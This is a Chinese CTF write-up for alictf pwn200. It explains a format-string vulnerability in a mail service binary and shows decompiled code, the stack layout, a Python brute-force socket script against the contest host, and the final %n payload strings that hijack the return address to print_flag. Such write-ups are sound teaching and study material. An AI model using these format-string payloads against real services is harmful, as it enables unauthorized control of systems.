[关闭]
@pnck 2015-04-09T10:09:24.000000Z 字数 3149 阅读 2150

alictf pwn200(100pt) writeup

writeup


拖入IDA发现符号表没有被strip掉,很容易发现print_flag函数,且该函数没有xref,明确目标是将某返回值修改为此函数。

服务程序会在后台调用数据库接口,从数据库中读取用户名和密码信息,这两项信息是持续存储的,不会在再次连接的时候清空。

f5找漏洞,很快发现在sendMail中有两个printf存在格式化字符串漏洞:

  1. int __cdecl sendMail(int handle, int from_name, char *to_name, char *mail_title, char *mail_body)
  2. {
  3. int result; // eax@5
  4. char mail_body_1[200]; // [sp+20h] [bp-D8h]@4
  5. int sptf_ret; // [sp+E8h] [bp-10h]@4
  6. char title_len; // [sp+EEh] [bp-Ah]@1
  7. char body_len; // [sp+EFh] [bp-9h]@1
  8. puts("Send Mail");
  9. printf("From: %s\n", from_name);
  10. printf("To:");
  11. get_input((int)to_name, 30);
  12. printf("To:");
  13. printf(to_name); //<<<<<<<
  14. putchar('\n');
  15. printf("Title:");
  16. get_input((int)mail_title, 255);
  17. printf("Title:");
  18. printf(mail_title); //<<<<<<<
  19. putchar(10);
  20. printf("Body:");
  21. get_input((int)mail_body, 255);
  22. body_len = strlen(mail_body);
  23. title_len = strlen(mail_title);
  24. if ( (char)(body_len + title_len) > 120 )
  25. {
  26. puts("The body or title is to big");
  27. quit(handle);
  28. }
  29. sprintf(
  30. mail_body_1,
  31. "insert into inbox (fromuser,touser,body) values('%s','%s','Title:%sBody:%s');",
  32. from_name,
  33. to_name,
  34. mail_title,
  35. mail_body);
  36. if ( sptf_ret )
  37. result = puts("Send Mail Error");
  38. else
  39. result = puts("Send Mail OK");
  40. return result;
  41. }

ctrl+k查看堆栈结构,结合nc连上实际实验,可获得几项关键地址

  1. +00000000 s db 4 dup(?)
  2. +00000004 r db 4 dup(?)
  3. +00000008 handle dd ?
  4. +0000000C from_name dd ?
  5. +00000010 to_name dd ? ; offset
  6. +00000014 mail_title dd ? ; offset
  7. +00000018 mail_body dd ? ; %68$x

触发漏洞的字符串并没放在栈上,而是放在malloc分配的堆空间中,在栈空间的下方,无法通过%*$的方式访问到,期初用栈缓冲区的构造方法尝试了好久发现SB了,那么要重新寻找构造方法。

%X$n控制符是将显示的字符数存入[X]指向的空间,想要修改返回值,必须有一个指向sendMail存放的返回值的指针,但程序中不可能自行存在,于是需要自行构造两级指针,第一级指针指向sendMail帧存放的返回值,第二级指针指向第一级指针。通过写入一级指针的内容使之指向待修改的返回值,再访问一级指针将返回值改为目标地址(print_flag)。

然后马上想到的两级指针就是ebp链,通过%62$x得到的main的ebp很容易可以将整个栈空间的地址都摸清楚,然后用%62$n使%90$x指向返回值,再用%90$n就能修改掉返回值。但稍作测试后发现由于栈空间比较高,地址动辄0xbfxxxxxx,要显示这么多字符需花费极大量时间且一般不能成功,最佳方式是用%hn只修改地址的低4位。但%90$x原值是0,只得放弃,转而寻找其它的两级指针链。

睡了一觉起来之后很快想到如下序列:
lea xxx,yyy
mov ptr[zzz],xxx
转而在sendMail和上层main中找:

  1. .text:08049837 064 mov edx, [esp+48h]
  2. .text:0804983B 064 mov [esp+10h], edx ; body esp+48
  3. .text:0804983F 064 mov edx, [esp+44h]
  4. .text:08049843 064 mov [esp+0Ch], edx ; title esp+44
  5. .text:08049847 064 mov edx, [esp+40h]
  6. .text:0804984B 064 mov [esp+8], edx ; to name esp+40
  7. .text:0804984F 064 lea edx, [esp+30h] ; <<<< THIS
  8. .text:08049853 064 mov [esp+4], edx ; from esp+30
  9. .text:08049857 064 mov [esp], eax ; handle
  10. .text:0804985A 064 call sendMail ; Call Procedure

[esp+4] 指向 esp+30,如果能用%n修改掉[esp+30]的值就能成功使[esp+30]指向返回值,最终劫持eip

这里esp+4对应%65$xesp+30h对应%76$x

nc尝试,发现%76$x的内容是用户名,需要注册一个特殊的用户名,名称恰好是某个地址。然后苦逼的地方来了,checksec发现启用nx,栈地址有3个字节会随机变化,除去低4位可以稍后用%65$hn写入,还有一个字节需要暴力碰撞。由于payload十分简单,只需要填两个数字,可以手动,脚本在跑完栈地址后就简单地循环读写了。

  1. import socket
  2. import time
  3. s = socket.socket()
  4. s.connect(('exploit.alictf.com',55664))
  5. s.send('1\nAA\x86\xbf\n\n') #先注册
  6. s.close()
  7. while True:
  8. s = socket.socket()
  9. s.connect(('exploit.alictf.com',55664))
  10. s.send('2\nAA\x86\xbf\n\n') #撞0xbf86
  11. print s.recv(4096)
  12. print s.recv(4096)
  13. s.send('3\n%62$x\n')
  14. s.recv(1024)
  15. d = s.recv(1024)
  16. print 'd--------->',d
  17. if d.find('bf86') > 0:
  18. break
  19. #time.sleep(0.3)
  20. while True:
  21. ss = raw_input("input-->")
  22. if ss != '\n':
  23. s.send(ss.strip()+'\n')
  24. try:
  25. while True:
  26. d = s.recv(4096)
  27. print d
  28. if d.find('G') >= 0: #出现flag时会有GXGX字样
  29. raw_input('GOT SOMETHING!!!')
  30. except KeyboardInterrupt:
  31. pass

然后两个利用字串为%AAAAc%65$hn%35773c%76$hn(0x8048bbd,0x8bbd=35773)

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注